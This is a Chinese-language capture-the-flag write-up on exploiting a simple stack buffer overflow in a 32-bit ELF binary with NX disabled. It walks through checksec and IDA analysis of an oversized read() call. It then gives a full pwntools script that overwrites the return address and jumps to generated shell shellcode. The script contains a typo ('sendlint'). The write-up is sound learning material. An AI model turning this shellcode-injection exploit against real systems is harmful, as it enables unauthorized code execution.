PWN简单栈溢出漏洞获取shell
题目来源
下载链接(密码akcz)
CTF的时候需要的是获取系统shell,然后通过shell去拿到flag。
条件所限,那我们就先将程序放本地。也就是本地机也充当远程服务器角色
1. 运行程序、查看文件类型、保护措施
程序输出一段应该是内存地址的16位字符串;接着要求我们输入,之后就结束运行程序。
程序为32位动态链接的ELF文件
可以看到NX保护关了,如果开启则我们的shellcode无法运行;checksec各种保护措施
2.反汇编分析
将程序拉到IDA分析;打开main()
,按F5
显示对应伪C代码;
并没有有用信息,接着打开foo()
函数
函数体内首先定义一个字符变量buf
;然后输出buf
在内存的地址;接着调用read
函数向buf
写入字符后返回。
数据的写入是从低位向高位写的。如果超过这个变量原定空间,继续向高位写,也就造成溢出。
定义的buf
变量只有1字节内存空间,但是read()
从变量处写入0x100u字节,也就是造成溢出了。
结合本题需要获取shell,而且NX关闭,也就是可以控制函数返回地址eip跳转到shellcode的内存地址。(shellcode简单点理解就是运行了就获得了shell的对话窗口)
3. 调试分析payload
已知条件和目标:
- buf内存地址
- eip覆盖为shellcode内存地址
- 注入shellcode代码
shellcode注入位置自主选择,方便就选择在eip的下一个内存单元中。
结合IDA对栈空间的分析,payload的基本结构就清晰了:
payload = buf内存地址 + (ebp) + shellcode内存地址(eip) + shellcode代码
4. 编写payload利用脚本
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#载入程序
pwn = process('./pwn2')
#链接远程服务器使用下面这条(也就是题目在服务器上)
#pwn = remote([ip],[port])
#获取buf内存地址;去除末尾换行符,并转换为数字类型
bufAddr = int(pwn.recvline()[:-1],16)
#生成shellcode。并转换为机器码
shell = asm(shellcraft.i386.linux.sh())
#计算shellcode内存地址
shellAddr = bufAddr + 0x1c + 0x4 + 0x4
payload = 'A'*0x1c + 'A'*0x4 + p32(shellAddr) + shell
pwn.sendlint(payload)
#将程序控制权交给用户,相当于自用运行
pwn.interactive()
5. 总结
-
通过
asm(shellcraft.i386.linux.sh())
生成转换shellcode -
read()
函数的第三个参数为写入的字节大小,注意查看变量能否容纳下,否则造成溢出